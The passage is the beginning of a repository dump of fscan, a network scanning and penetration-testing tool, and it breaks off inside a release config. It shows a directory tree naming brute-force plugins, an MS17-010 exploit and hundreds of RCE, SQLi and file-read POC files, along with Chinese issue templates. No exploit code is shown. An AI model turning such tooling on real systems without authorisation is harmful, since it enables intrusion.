Repository: shadow1ng/fscan Branch: main Commit: 6b13b2e84f54 Files: 535 Total size: 5.4 MB Directory structure: gitextract_35esngf3/ ├── .github/ │ ├── ISSUE_TEMPLATE/ │ │ ├── bug_report.yml │ │ ├── config.yml │ │ ├── false_positive.yml │ │ ├── feature_request.yml │ │ └── plugin_request.yml │ ├── conf/ │ │ └── .goreleaser.yml │ └── workflows/ │ ├── release.yml │ └── test-build.yml ├── .gitignore ├── Common/ │ ├── Config.go │ ├── Flag.go │ ├── Log.go │ ├── Output.go │ ├── Parse.go │ ├── ParseIP.go │ ├── ParsePort.go │ ├── Ports.go │ ├── Proxy.go │ ├── Types.go │ └── i18n.go ├── Core/ │ ├── ICMP.go │ ├── LocalScanner.go │ ├── PluginUtils.go │ ├── PortFinger.go │ ├── PortInfo.go │ ├── PortScan.go │ ├── Registry.go │ ├── Scanner.go │ ├── ServiceScanner.go │ ├── WebScanner.go │ └── nmap-service-probes.txt ├── LICENSE.txt ├── Plugins/ │ ├── ActiveMQ.go │ ├── Base.go │ ├── Cassandra.go │ ├── DCInfo.go │ ├── DCInfoUnix.go │ ├── Elasticsearch.go │ ├── FTP.go │ ├── FindNet.go │ ├── IMAP.go │ ├── Kafka.go │ ├── LDAP.go │ ├── LocalInfo.go │ ├── MS17010-Exp.go │ ├── MS17010.go │ ├── MSSQL.go │ ├── Memcached.go │ ├── MiniDump.go │ ├── MiniDumpUnix.go │ ├── Modbus.go │ ├── Mongodb.go │ ├── MySQL.go │ ├── Neo4j.go │ ├── NetBIOS.go │ ├── Oracle.go │ ├── POP3.go │ ├── Postgres.go │ ├── RDP.go │ ├── RabbitMQ.go │ ├── Redis.go │ ├── Rsync.go │ ├── SMB.go │ ├── SMB2.go │ ├── SMTP.go │ ├── SNMP.go │ ├── SSH.go │ ├── SmbGhost.go │ ├── Telnet.go │ ├── VNC.go │ ├── WebPoc.go │ └── WebTitle.go ├── README.md ├── README_EN.md ├── TestDocker/ │ ├── ActiveMQ/ │ │ ├── Dockerfile │ │ ├── README.txt │ │ ├── activemq.xml │ │ └── users.properties │ ├── Cassandra/ │ │ └── README.txt │ ├── Elasticsearch/ │ │ ├── Dockerfile │ │ └── README.txt │ ├── FTP/ │ │ └── README.txt │ ├── IMAP/ │ │ ├── Dockerfile │ │ └── README.txt │ ├── Kafka/ │ │ ├── README.txt │ │ ├── docker-compose.yml │ │ └── kafka_jaas.conf │ ├── LDAP/ │ │ ├── Dockerfile │ │ ├── README.txt │ │ └── bootstrap.ldif │ ├── MSSQL/ │ │ ├── Dockerfile │ │ └── README.txt │ ├── Memcached/ │ │ ├── Dockerfile │ │ └── README.txt │ ├── Modbus/ │ │ └── README.txt │ ├── Mongodb/ │ │ ├── Dockerfile │ │ └── README.txt │ ├── MySQL/ │ │ ├── Dockerfile │ │ ├── README.txt │ │ └── my.cnf │ ├── Neo4j/ │ │ ├── Dockerfile │ │ └── docker-compose.yml │ ├── Oracle/ │ │ ├── Dockerfile │ │ └── README.txt │ ├── POP3/ │ │ ├── Dockerfile │ │ └── README.txt │ ├── Postgre/ │ │ ├── Dockerfile │ │ └── README.md │ ├── RabbitMQ/ │ │ ├── Dockerfile │ │ └── README.txt │ ├── Redis/ │ │ ├── Dockerfile │ │ ├── README.txt │ │ └── redis.conf │ ├── Rsync/ │ │ ├── Dockerfile │ │ └── README.txt │ ├── SMTP/ │ │ ├── Dockerfile │ │ ├── README.txt │ │ └── start.sh │ ├── SNMP/ │ │ ├── Dockerfile │ │ └── README.txt │ ├── SSH/ │ │ ├── Dockerfile │ │ └── README.txt │ ├── Telnet/ │ │ ├── Dockerfile │ │ └── README.md │ ├── Tomcat/ │ │ ├── Dockerfile │ │ ├── README.txt │ │ ├── context.xml │ │ └── tomcat-users.xml │ ├── VNC/ │ │ ├── Dockerfile │ │ ├── README.txt │ │ └── supervisord.conf │ ├── Weblogic/ │ │ ├── Dockerfile │ │ ├── README.txt │ │ ├── create-domain.py │ │ └── start.sh │ └── Zabbix/ │ └── docker-compose.yml ├── WebScan/ │ ├── InfoScan.go │ ├── WebScan.go │ ├── info/ │ │ └── Rules.go │ ├── lib/ │ │ ├── Check.go │ │ ├── Client.go │ │ ├── Eval.go │ │ ├── Shiro.go │ │ ├── http.pb.go │ │ └── http.proto │ └── pocs/ │ ├── 74cms-sqli-1.yml │ ├── 74cms-sqli-2.yml │ ├── 74cms-sqli.yml │ ├── CVE-2017-7504-Jboss-serialization-RCE.yml │ ├── CVE-2022-22947.yml │ ├── CVE-2022-22954-VMware-RCE.yml │ ├── CVE-2022-26134.yml │ ├── Hotel-Internet-Manage-RCE.yml │ ├── Struts2-062-cve-2021-31805-rce.yml │ ├── active-directory-certsrv-detect.yml │ ├── activemq-cve-2016-3088.yml │ ├── activemq-default-password.yml │ ├── airflow-unauth.yml │ ├── alibaba-canal-default-password.yml │ ├── alibaba-canal-info-leak.yml │ ├── alibaba-nacos-v1-auth-bypass.yml │ ├── alibaba-nacos.yml │ ├── amtt-hiboss-server-ping-rce.yml │ ├── apache-ambari-default-password.yml │ ├── apache-axis-webservice-detect.yml │ ├── apache-druid-cve-2021-36749.yml │ ├── apache-flink-upload-rce.yml │ ├── apache-httpd-cve-2021-40438-ssrf.yml │ ├── apache-httpd-cve-2021-41773-path-traversal.yml │ ├── apache-httpd-cve-2021-41773-rce.yml │ ├── apache-kylin-unauth-cve-2020-13937.yml │ ├── apache-nifi-api-unauthorized-access.yml │ ├── apache-ofbiz-cve-2018-8033-xxe.yml │ ├── apache-ofbiz-cve-2020-9496-xml-deserialization.yml │ ├── aspcms-backend-leak.yml │ ├── backup-file.yml │ ├── bash-cve-2014-6271.yml │ ├── bt742-pma-unauthorized-access.yml │ ├── cacti-weathermap-file-write.yml │ ├── chinaunicom-modem-default-password.yml │ ├── cisco-cve-2020-3452-readfile.yml │ ├── citrix-cve-2019-19781-path-traversal.yml │ ├── citrix-cve-2020-8191-xss.yml │ ├── citrix-cve-2020-8193-unauthorized.yml │ ├── citrix-xenmobile-cve-2020-8209.yml │ ├── coldfusion-cve-2010-2861-lfi.yml │ ├── confluence-cve-2015-8399.yml │ ├── confluence-cve-2019-3396-lfi.yml │ ├── confluence-cve-2021-26084.yml │ ├── confluence-cve-2021-26085-arbitrary-file-read.yml │ ├── consul-rexec-rce.yml │ ├── consul-service-rce.yml │ ├── coremail-cnvd-2019-16798.yml │ ├── couchcms-cve-2018-7662.yml │ ├── couchdb-cve-2017-12635.yml │ ├── couchdb-unauth.yml │ ├── craftcms-seomatic-cve-2020-9757-rce.yml │ ├── datang-ac-default-password-cnvd-2021-04128.yml │ ├── dedecms-carbuyaction-fileinclude.yml │ ├── dedecms-cve-2018-6910.yml │ ├── dedecms-cve-2018-7700-rce.yml │ ├── dedecms-guestbook-sqli.yml │ ├── dedecms-membergroup-sqli.yml │ ├── dedecms-url-redirection.yml │ ├── discuz-ml3x-cnvd-2019-22239.yml │ ├── discuz-v72-sqli.yml │ ├── discuz-wechat-plugins-unauth.yml │ ├── discuz-wooyun-2010-080723.yml │ ├── django-CVE-2018-14574.yml │ ├── dlink-850l-info-leak.yml │ ├── dlink-cve-2019-16920-rce.yml │ ├── dlink-cve-2019-17506.yml │ ├── dlink-cve-2020-25078-account-disclosure.yml │ ├── dlink-cve-2020-9376-dump-credentials.yml │ ├── dlink-dsl-2888a-rce.yml │ ├── docker-api-unauthorized-rce.yml │ ├── docker-registry-api-unauth.yml │ ├── dotnetcms-sqli.yml │ ├── draytek-cve-2020-8515.yml │ ├── druid-monitor-unauth.yml │ ├── drupal-cve-2014-3704-sqli.yml │ ├── drupal-cve-2018-7600-rce.yml │ ├── drupal-cve-2019-6340.yml │ ├── dubbo-admin-default-password.yml │ ├── duomicms-sqli.yml │ ├── dvr-cve-2018-9995.yml │ ├── e-office-v10-sql-inject.yml │ ├── e-office-v9-upload-cnvd-2021-49104.yml │ ├── e-zkeco-cnvd-2020-57264-read-file.yml │ ├── ecology-arbitrary-file-upload.yml │ ├── ecology-filedownload-directory-traversal.yml │ ├── ecology-javabeanshell-rce.yml │ ├── ecology-springframework-directory-traversal.yml │ ├── ecology-syncuserinfo-sqli.yml │ ├── ecology-v8-sqli.yml │ ├── ecology-validate-sqli.yml │ ├── ecology-workflowcentertreedata-sqli.yml │ ├── ecology-workflowservicexml.yml │ ├── ecshop-cnvd-2020-58823-sqli.yml │ ├── ecshop-collection-list-sqli.yml │ ├── ecshop-login-sqli.yml │ ├── ecshop-rce.yml │ ├── eea-info-leak-cnvd-2021-10543.yml │ ├── elasticsearch-cve-2014-3120.yml │ ├── elasticsearch-cve-2015-1427.yml │ ├── elasticsearch-cve-2015-3337-lfi.yml │ ├── elasticsearch-cve-2015-5531.yml │ ├── elasticsearch-unauth.yml │ ├── etcd-unauth.yml │ ├── etcd-v3-unauth.yml │ ├── etouch-v2-sqli.yml │ ├── exchange-cve-2021-26855-ssrf.yml │ ├── eyou-rce.yml │ ├── ezoffice-dpwnloadhttp.jsp-filedownload.yml │ ├── f5-cve-2021-22986.yml │ ├── f5-cve-2022-1388.yml │ ├── f5-tmui-cve-2020-5902-rce.yml │ ├── fangweicms-sqli.yml │ ├── fckeditor-info.yml │ ├── feifeicms-lfr.yml │ ├── finecms-sqli.yml │ ├── finereport-directory-traversal.yml │ ├── finereport-v8-arbitrary-file-read.yml │ ├── flexpaper-cve-2018-11686.yml │ ├── flink-jobmanager-cve-2020-17519-lfi.yml │ ├── fortigate-cve-2018-13379-readfile.yml │ ├── frp-dashboard-unauth.yml │ ├── gateone-cve-2020-35736.yml │ ├── gilacms-cve-2020-5515.yml │ ├── gitlab-graphql-info-leak-cve-2020-26413.yml │ ├── gitlab-ssrf-cve-2021-22214.yml │ ├── gitlist-rce-cve-2018-1000533.yml │ ├── glassfish-cve-2017-1000028-lfi.yml │ ├── go-pprof-leak.yml │ ├── gocd-cve-2021-43287.yml │ ├── h2-database-web-console-unauthorized-access.yml │ ├── h3c-imc-rce.yml │ ├── h3c-secparh-any-user-login.yml │ ├── h5s-video-platform-cnvd-2020-67113-unauth.yml │ ├── hadoop-yarn-unauth.yml │ ├── hanming-video-conferencing-file-read.yml │ ├── harbor-cve-2019-16097.yml │ ├── hikvision-cve-2017-7921.yml │ ├── hikvision-gateway-data-file-read.yml │ ├── hikvision-info-leak.yml │ ├── hikvision-intercom-service-default-password.yml │ ├── hikvision-showfile-file-read.yml │ ├── hikvision-unauthenticated-rce-cve-2021-36260.yml │ ├── hjtcloud-arbitrary-fileread.yml │ ├── hjtcloud-directory-file-leak.yml │ ├── huawei-home-gateway-hg659-fileread.yml │ ├── ifw8-router-cve-2019-16313.yml │ ├── iis-put-getshell.yml │ ├── influxdb-unauth.yml │ ├── inspur-tscev4-cve-2020-21224-rce.yml │ ├── jboss-cve-2010-1871.yml │ ├── jboss-unauth.yml │ ├── jeewms-showordownbyurl-fileread.yml │ ├── jellyfin-file-read-cve-2021-21402.yml │ ├── jenkins-cve-2018-1000600.yml │ ├── jenkins-cve-2018-1000861-rce.yml │ ├── jenkins-unauthorized-access.yml │ ├── jetty-cve-2021-28164.yml │ ├── jira-cve-2019-11581.yml │ ├── jira-cve-2019-8442.yml │ ├── jira-cve-2019-8449.yml │ ├── jira-cve-2020-14179.yml │ ├── jira-cve-2020-14181.yml │ ├── jira-ssrf-cve-2019-8451.yml │ ├── joomla-cnvd-2019-34135-rce.yml │ ├── joomla-component-vreview-sql.yml │ ├── joomla-cve-2015-7297-sqli.yml │ ├── joomla-cve-2017-8917-sqli.yml │ ├── joomla-cve-2018-7314-sql.yml │ ├── joomla-ext-zhbaidumap-cve-2018-6605-sqli.yml │ ├── jumpserver-unauth-rce.yml │ ├── jupyter-notebook-unauthorized-access.yml │ ├── kafka-manager-unauth.yml │ ├── kibana-cve-2018-17246.yml │ ├── kibana-unauth.yml │ ├── kingdee-eas-directory-traversal.yml │ ├── kingsoft-v8-default-password.yml │ ├── kingsoft-v8-file-read.yml │ ├── kong-cve-2020-11710-unauth.yml │ ├── kubernetes-unauth.yml │ ├── kyan-network-monitoring-account-password-leakage.yml │ ├── landray-oa-custom-jsp-fileread.yml │ ├── lanproxy-cve-2021-3019-lfi.yml │ ├── laravel-cve-2021-3129.yml │ ├── laravel-debug-info-leak.yml │ ├── laravel-improper-webdir.yml │ ├── maccms-rce.yml │ ├── maccmsv10-backdoor.yml │ ├── metinfo-cve-2019-16996-sqli.yml │ ├── metinfo-cve-2019-16997-sqli.yml │ ├── metinfo-cve-2019-17418-sqli.yml │ ├── metinfo-file-read.yml │ ├── metinfo-lfi-cnvd-2018-13393.yml │ ├── minio-default-password.yml │ ├── mongo-express-cve-2019-10758.yml │ ├── mpsec-isg1000-file-read.yml │ ├── msvod-sqli.yml │ ├── myucms-lfr.yml │ ├── nagio-cve-2018-10735.yml │ ├── nagio-cve-2018-10736.yml │ ├── nagio-cve-2018-10737.yml │ ├── nagio-cve-2018-10738.yml │ ├── natshell-arbitrary-file-read.yml │ ├── netentsec-icg-default-password.yml │ ├── netentsec-ngfw-rce.yml │ ├── netgear-cve-2017-5521.yml │ ├── nextjs-cve-2017-16877.yml │ ├── nexus-cve-2019-7238.yml │ ├── nexus-cve-2020-10199.yml │ ├── nexus-cve-2020-10204.yml │ ├── nexus-default-password.yml │ ├── nexusdb-cve-2020-24571-path-traversal.yml │ ├── nhttpd-cve-2019-16278.yml │ ├── node-red-dashboard-file-read-cve-2021-3223.yml │ ├── novnc-url-redirection-cve-2021-3654.yml │ ├── nps-default-password.yml │ ├── ns-asg-file-read.yml │ ├── nsfocus-uts-password-leak.yml │ ├── nuuo-file-inclusion.yml │ ├── odoo-file-read.yml │ ├── openfire-cve-2019-18394-ssrf.yml │ ├── opentsdb-cve-2020-35476-rce.yml │ ├── panabit-gateway-default-password.yml │ ├── panabit-ixcache-default-password.yml │ ├── pandorafms-cve-2019-20224-rce.yml │ ├── pbootcms-database-file-download.yml │ ├── php-cgi-cve-2012-1823.yml │ ├── phpcms-cve-2018-19127.yml │ ├── phpmyadmin-cve-2018-12613-file-inclusion.yml │ ├── phpmyadmin-setup-deserialization.yml │ ├── phpok-sqli.yml │ ├── phpshe-sqli.yml │ ├── phpstudy-backdoor-rce.yml │ ├── phpstudy-nginx-wrong-resolve.yml │ ├── phpunit-cve-2017-9841-rce.yml │ ├── powercreator-arbitrary-file-upload.yml │ ├── prometheus-url-redirection-cve-2021-29622.yml │ ├── pulse-cve-2019-11510.yml │ ├── pyspider-unauthorized-access.yml │ ├── qibocms-sqli.yml │ ├── qilin-bastion-host-rce.yml │ ├── qizhi-fortressaircraft-unauthorized.yml │ ├── qnap-cve-2019-7192.yml │ ├── rabbitmq-default-password.yml │ ├── rails-cve-2018-3760-rce.yml │ ├── razor-cve-2018-8770.yml │ ├── rconfig-cve-2019-16663.yml │ ├── resin-cnnvd-200705-315.yml │ ├── resin-inputfile-fileread-or-ssrf.yml │ ├── resin-viewfile-fileread.yml │ ├── rockmongo-default-password.yml │ ├── ruijie-eg-cli-rce.yml │ ├── ruijie-eg-file-read.yml │ ├── ruijie-eg-info-leak.yml │ ├── ruijie-eweb-rce-cnvd-2021-09650.yml │ ├── ruijie-nbr1300g-cli-password-leak.yml │ ├── ruijie-uac-cnvd-2021-14536.yml │ ├── ruoyi-management-fileread.yml │ ├── saltstack-cve-2020-16846.yml │ ├── saltstack-cve-2021-25282-file-write.yml │ ├── samsung-wea453e-default-pwd.yml │ ├── samsung-wea453e-rce.yml │ ├── samsung-wlan-ap-wea453e-rce.yml │ ├── sangfor-ad-download.php-filedownload.yml │ ├── sangfor-ba-rce.yml │ ├── sangfor-edr-arbitrary-admin-login.yml │ ├── sangfor-edr-cssp-rce.yml │ ├── sangfor-edr-tool-rce.yml │ ├── satellian-cve-2020-7980-rce.yml │ ├── seacms-before-v992-rce.yml │ ├── seacms-rce.yml │ ├── seacms-sqli.yml │ ├── seacms-v654-rce.yml │ ├── seacmsv645-command-exec.yml │ ├── secnet-ac-default-password.yml │ ├── seeyon-a6-employee-info-leak.yml │ ├── seeyon-a6-test-jsp-sql.yml │ ├── seeyon-ajax-unauthorized-access.yml │ ├── seeyon-cnvd-2020-62422-readfile.yml │ ├── seeyon-oa-a8-m-information-disclosure.yml │ ├── seeyon-oa-cookie-leak.yml │ ├── seeyon-session-leak.yml │ ├── seeyon-setextno-jsp-sql.yml │ ├── seeyon-unauthoried.yml │ ├── seeyon-wooyun-2015-0108235-sqli.yml │ ├── seeyon-wooyun-2015-148227.yml │ ├── shiro-key.yml │ ├── shiziyu-cms-apicontroller-sqli.yml │ ├── shopxo-cnvd-2021-15822.yml │ ├── showdoc-default-password.yml │ ├── showdoc-uploadfile.yml │ ├── skywalking-cve-2020-9483-sqli.yml │ ├── solarwinds-cve-2020-10148.yml │ ├── solr-cve-2017-12629-xxe.yml │ ├── solr-cve-2019-0193.yml │ ├── solr-fileread.yml │ ├── solr-velocity-template-rce.yml │ ├── sonarqube-cve-2020-27986-unauth.yml │ ├── sonicwall-ssl-vpn-rce.yml │ ├── spark-api-unauth.yml │ ├── spark-webui-unauth.yml │ ├── spon-ip-intercom-ping-rce.yml │ ├── spring-actuator-heapdump-file.yml │ ├── spring-cloud-cve-2020-5405.yml │ ├── spring-cloud-cve-2020-5410.yml │ ├── spring-core-rce.yml │ ├── spring-cve-2016-4977.yml │ ├── springboot-cve-2021-21234.yml │ ├── springboot-env-unauth.yml │ ├── springcloud-cve-2019-3799.yml │ ├── sql-file.yml │ ├── struts2-045.yml │ ├── struts2-046-1.yml │ ├── supervisord-cve-2017-11610.yml │ ├── swagger-ui-unauth.yml │ ├── tamronos-iptv-rce.yml │ ├── telecom-gateway-default-password.yml │ ├── tensorboard-unauth.yml │ ├── terramaster-cve-2020-15568.yml │ ├── terramaster-tos-rce-cve-2020-28188.yml │ ├── thinkadmin-v6-readfile.yml │ ├── thinkcmf-lfi.yml │ ├── thinkcmf-write-shell.yml │ ├── thinkphp-v6-file-write.yml │ ├── thinkphp5-controller-rce.yml │ ├── thinkphp5023-method-rce.yml │ ├── tianqing-info-leak.yml │ ├── tomcat-cve-2017-12615-rce.yml │ ├── tomcat-cve-2018-11759.yml │ ├── tomcat-manager-weak.yml │ ├── tongda-insert-sql-inject.yml │ ├── tongda-meeting-unauthorized-access.yml │ ├── tongda-oa-v11.9-api.ali.php-upload.yml │ ├── tongda-user-session-disclosure.yml │ ├── tongda-v2017-uploadfile.yml │ ├── tpshop-directory-traversal.yml │ ├── tpshop-sqli.yml │ ├── tvt-nvms-1000-file-read-cve-2019-20085.yml │ ├── typecho-rce.yml │ ├── ueditor-cnvd-2017-20077-file-upload.yml │ ├── uwsgi-cve-2018-7490.yml │ ├── vbulletin-cve-2019-16759-bypass.yml │ ├── vbulletin-cve-2019-16759.yml │ ├── vmware-vcenter-arbitrary-file-read.yml │ ├── vmware-vcenter-cve-2021-21985-rce.yml │ ├── vmware-vcenter-unauthorized-rce-cve-2021-21972.yml │ ├── vmware-vrealize-cve-2021-21975-ssrf.yml │ ├── weaver-E-Cology-getSqlData-sqli.yml │ ├── weaver-ebridge-file-read.yml │ ├── weaver-oa-eoffice-v9-upload-getshell.yml │ ├── weblogic-console-weak.yml │ ├── weblogic-cve-2017-10271.yml │ ├── weblogic-cve-2019-2725.yml │ ├── weblogic-cve-2019-2729-1.yml │ ├── weblogic-cve-2019-2729-2.yml │ ├── weblogic-cve-2020-14750.yml │ ├── weblogic-ssrf.yml │ ├── webmin-cve-2019-15107-rce.yml │ ├── weiphp-path-traversal.yml │ ├── weiphp-sql.yml │ ├── wifisky-default-password-cnvd-2021-39012.yml │ ├── wordpress-cve-2019-19985-infoleak.yml │ ├── wordpress-ext-adaptive-images-lfi.yml │ ├── wordpress-ext-mailpress-rce.yml │ ├── wuzhicms-v410-sqli.yml │ ├── xdcms-sql.yml │ ├── xiuno-bbs-cvnd-2019-01348-reinstallation.yml │ ├── xunchi-cnvd-2020-23735-file-read.yml │ ├── yapi-rce.yml │ ├── yccms-rce.yml │ ├── yonyou-grp-u8-sqli-to-rce.yml │ ├── yonyou-grp-u8-sqli.yml │ ├── yonyou-nc-arbitrary-file-upload.yml │ ├── yonyou-nc-bsh-servlet-bshservlet-rce.yml │ ├── yonyou-u8-oa-sqli.yml │ ├── youphptube-encoder-cve-2019-5127.yml │ ├── youphptube-encoder-cve-2019-5128.yml │ ├── youphptube-encoder-cve-2019-5129.yml │ ├── yungoucms-sqli.yml │ ├── zabbix-authentication-bypass.yml │ ├── zabbix-cve-2016-10134-sqli.yml │ ├── zabbix-default-password.yml │ ├── zcms-v3-sqli.yml │ ├── zeit-nodejs-cve-2020-5284-directory-traversal.yml │ ├── zeroshell-cve-2019-12725-rce.yml │ ├── zimbra-cve-2019-9670-xxe.yml │ └── zzcms-zsmanage-sqli.yml ├── go.mod ├── go.sum └── main.go ================================================ FILE CONTENTS ================================================ ================================================ FILE: .github/ISSUE_TEMPLATE/bug_report.yml ================================================ name: 🐛 Bug 报告 description: 报告扫描异常、崩溃或错误行为 title: "[Bug] " labels: ["bug"] body: - type: markdown attributes: value: | 感谢您提交 Bug 报告!请尽可能详细地填写以下信息,这将帮助我们更快定位和修复问题。 - type: dropdown id: module attributes: label: 问题模块 description: 问题出现在哪个功能模块? options: - 端口扫描 (Port Scan) - 主机存活检测 (Host Discovery) - 服务识别 (Service Detection) - 弱口令爆破 (Brute Force) - POC/漏洞扫描 (POC Scan) - Web指纹识别 (Web Fingerprint) - 输出/日志 (Output/Logging) - 命令行参数 (CLI Arguments) - 其他 (Other) validations: required: true - type: dropdown id: severity attributes: label: 严重程度 options: - 崩溃/无法使用 (Crash) - 功能异常 (Malfunction) - 结果不准确 (Inaccurate) - 性能问题 (Performance) - 其他 (Other) validations: required: true - type: textarea id: description attributes: label: 问题描述 description: 清晰描述遇到的问题 placeholder: | 发生了什么? 预期的行为是什么? validations: required: true - type: textarea id: reproduce attributes: label: 复现步骤 description: 提供可以复现问题的命令或步骤 placeholder: | 1. 执行命令: fscan -h xxx -p xxx 2. 观察到... render: shell validations: required: true - type: textarea id: output attributes: label: 错误输出 description: 粘贴相关的错误信息或日志(请脱敏敏感信息) render: shell - type: textarea id: environment attributes: label: 环境信息 description: 请提供运行环境信息 value: | - fscan 版本: [如 1.8.4] - 操作系统: [如 Windows 11 / Ubuntu 22.04 / macOS 14] - 架构: [如 amd64 / arm64] - Go 版本 (如自编译): [如 go1.20.10] validations: required: true - type: textarea id: additional attributes: label: 补充信息 description: 其他可能有助于排查问题的信息 ================================================ FILE: .github/ISSUE_TEMPLATE/config.yml ================================================ # Issue 模板配置 # 禁止空白 issue,强制用户选择模板 blank_issues_enabled: false contact_links: - name: 📖 使用文档 url: https://github.com/shadow1ng/fscan/blob/main/README.md about: 提交 Issue 前请先查阅文档 - name: 💬 讨论区 url: https://github.com/shadow1ng/fscan/discussions about: 一般性问题和讨论请使用 Discussions ================================================ FILE: .github/ISSUE_TEMPLATE/false_positive.yml ================================================ name: 🎯 误报/漏报 description: 报告扫描结果不准确的问题 title: "[Accuracy] " labels: ["accuracy"] body: - type: markdown attributes: value: | 感谢您帮助提高 fscan 的准确性!误报和漏报都是需要优化的问题。 - type: dropdown id: type attributes: label: 问题类型 options: - 误报 (False Positive) - 报告了不存在的问题 - 漏报 (False Negative) - 未能检测到存在的问题 validations: required: true - type: dropdown id: category attributes: label: 涉及功能 options: - 主机存活检测 - 端口状态判断 - 服务识别 - 弱口令检测 - POC/漏洞检测 - Web指纹识别 - 其他 validations: required: true - type: textarea id: fscan-output attributes: label: fscan 输出结果 description: 粘贴相关的扫描输出(请脱敏敏感信息如真实IP、密码等) render: shell validations: required: true - type: textarea id: actual attributes: label: 实际情况 description: 描述目标的真实状态 placeholder: | 实际上这个端口是关闭的 / 服务版本是 xxx / 密码不是 xxx... 验证方式: 通过 nmap/手动连接/其他工具 确认... validations: required: true - type: textarea id: environment attributes: label: 目标环境 description: 描述目标的环境信息(请脱敏) placeholder: | - 目标系统: Windows Server 2019 / Ubuntu 22.04 - 服务版本: MySQL 8.0 / Redis 7.0 - 网络环境: 直连 / 通过代理 / VPN validations: required: true - type: textarea id: command attributes: label: 使用的命令 description: 执行的 fscan 命令 placeholder: "fscan -h x.x.x.x -p 1-65535 -pwdf pass.txt" render: shell validations: required: true - type: input id: version attributes: label: fscan 版本 placeholder: "如: 1.8.4" validations: required: true - type: textarea id: suggestion attributes: label: 改进建议 description: 如果您有改进的想法,请分享 placeholder: | 建议增加 xxx 判断条件... 或者调整 xxx 检测逻辑... ================================================ FILE: .github/ISSUE_TEMPLATE/feature_request.yml ================================================ name: ✨ 功能请求 description: 提议新功能或改进现有功能 title: "[Feature] " labels: ["enhancement"] body: - type: markdown attributes: value: | 感谢您的功能建议!请详细描述您的需求,这将帮助我们评估和实现。 - type: dropdown id: category attributes: label: 功能类别 options: - 新扫描能力 (New Scan Capability) - 性能优化 (Performance) - 用户体验 (UX/CLI) - 输出格式 (Output Format) - 配置选项 (Configuration) - 集成/API (Integration/API) - 其他 (Other) validations: required: true - type: textarea id: problem attributes: label: 解决什么问题? description: 描述您遇到的痛点或使用场景 placeholder: | 在进行 xxx 操作时,我希望能够... 目前的问题是... validations: required: true - type: textarea id: solution attributes: label: 期望的解决方案 description: 描述您希望的功能或行为 placeholder: | 希望能够通过 -xxx 参数来... 或者增加一个新的模块来... validations: required: true - type: textarea id: alternatives attributes: label: 替代方案 description: 您考虑过的其他解决方案或变通方法 placeholder: | 目前我通过 xxx 方式来解决,但是... - type: dropdown id: priority attributes: label: 优先级建议 description: 您认为这个功能的重要程度 options: - 高 - 核心功能缺失 - 中 - 明显改善体验 - 低 - 锦上添花 validations: required: true - type: checkboxes id: contribution attributes: label: 贡献意愿 options: - label: 我愿意尝试实现这个功能并提交 PR ================================================ FILE: .github/ISSUE_TEMPLATE/plugin_request.yml ================================================ name: 🔌 新插件/协议支持 description: 请求支持新的服务、协议或漏洞检测 title: "[Plugin] " labels: ["plugin", "enhancement"] body: - type: markdown attributes: value: | 感谢您的插件请求!fscan 持续扩展对各种服务和协议的支持。 - type: dropdown id: type attributes: label: 请求类型 options: - 新服务/协议支持 (New Service) - 新弱口令检测 (New Brute Force) - 新漏洞 POC (New POC) - 新指纹识别 (New Fingerprint) validations: required: true - type: input id: service attributes: label: 服务/协议名称 placeholder: "如: Kafka, ClickHouse, etcd, Consul" validations: required: true - type: input id: port attributes: label: 默认端口 placeholder: "如: 9092, 8123, 2379" - type: textarea id: description attributes: label: 服务描述 description: 简要介绍这个服务/协议 placeholder: | 这是一个用于 xxx 的服务... 在内网环境中常见于... validations: required: true - type: textarea id: detection attributes: label: 识别方法 description: 如何识别/检测这个服务(如有了解) placeholder: | Banner 特征: xxx 默认响应: xxx 认证方式: xxx - type: textarea id: reference attributes: label: 参考资料 description: 相关文档、其他工具实现、漏洞详情等 placeholder: | - 官方文档: https://... - 其他工具实现: https://... - CVE编号: CVE-xxxx-xxxx - type: dropdown id: prevalence attributes: label: 使用普遍程度 description: 这个服务在目标环境中的常见程度 options: - 非常常见 (企业环境标配) - 较为常见 (经常遇到) - 偶尔遇到 - 较少见但重要 - type: checkboxes id: contribution attributes: label: 贡献意愿 options: - label: 我愿意尝试实现这个插件并提交 PR - label: 我可以提供测试环境 ================================================ FILE: .github/conf/.goreleaser.yml ================================================ # 项目名称 - 直接使用环境变量 project_name: "{{ .Env.PROJECT_NAME }}" # 构建前钩子 before: hooks: - go mod tidy - go mod download # 构建配置 builds: - id: default binary: "{{ .ProjectName }}" env: - CGO_ENABLED=0 goos: - windows - linux - darwin goarch: - amd64 - arm64 - "386" goarm: - "7" ignore: - goos: darwin goarch: "386" - goos: windows goarch: arm64 flags: - -trimpath ldflags: - -s -w - -X main.version={{ .Version }} - -X main.commit={{ .ShortCommit }} - -X main.date={{ .Date }} - -X main.builtBy=goreleaser mod_timestamp: "{{ .CommitTimestamp }}" # UPX 压缩 upx: - ids: [default] enabled: true goos: ["windows", "linux"] goarch: ["amd64", "386"] compress: best brute: false lzma: false # 归档配置 archives: - id: default format: binary allow_different_binary_count: true name_template: >- {{ .ProjectName }}_{{ .Version }}_ {{- if eq .Os "darwin" }}mac {{- else }}{{ .Os }}{{ end }}_ {{- if eq .Arch "amd64" }}x64 {{- else if eq .Arch "386" }}x32 {{- else }}{{ .Arch }}{{ end }} {{- if .Arm }}v{{ .Arm }}{{ end }} {{- if eq .Os "windows" }}.exe{{ end }} # 校验和 checksum: name_template: 'checksums.txt' algorithm: sha256 # 变更日志 changelog: sort: asc use: github filters: exclude: - "^docs:" - "^test:" - "^ci:" - "^chore:" - "Merge pull request" - "Merge branch" groups: - title: "🚀 新功能" regexp: "^.*feat[(\\w)]*:+.*$" order: 0 - title: "🐛 问题修复" regexp: "^.*fix[(\\w)]*:+.*$" order: 1 - title: "📚 文档更新" regexp: "^.*docs[(\\w)]*:+.*$" order: 2 - title: "🔧 其他改进" order: 999 # 发布配置 release: github: owner: "{{ .Env.GITHUB_OWNER }}" name: "{{ .Env.GITHUB_REPO }}" draft: false prerelease: auto mode: replace header: | ## 🎉 {{ .ProjectName }} {{ .Tag }} 发布说明 感谢使用 {{ .ProjectName }}!本次发布包含以下改进: footer: | ## 📥 安装说明 下载对应平台的二进制文件即可使用。 **完整更新日志**: https://github.com/{{ .Env.GITHUB_OWNER }}/{{ .Env.GITHUB_REPO }}/compare/{{ .PreviousTag }}...{{ .Tag }} --- 如有问题请提交 [Issue](https://github.com/{{ .Env.GITHUB_OWNER }}/{{ .Env.GITHUB_REPO }}/issues) 💬 # 快照版本 snapshot: name_template: "{{ incpatch .Version }}-dev-{{ .ShortCommit }}" # 元数据 metadata: mod_timestamp: "{{ 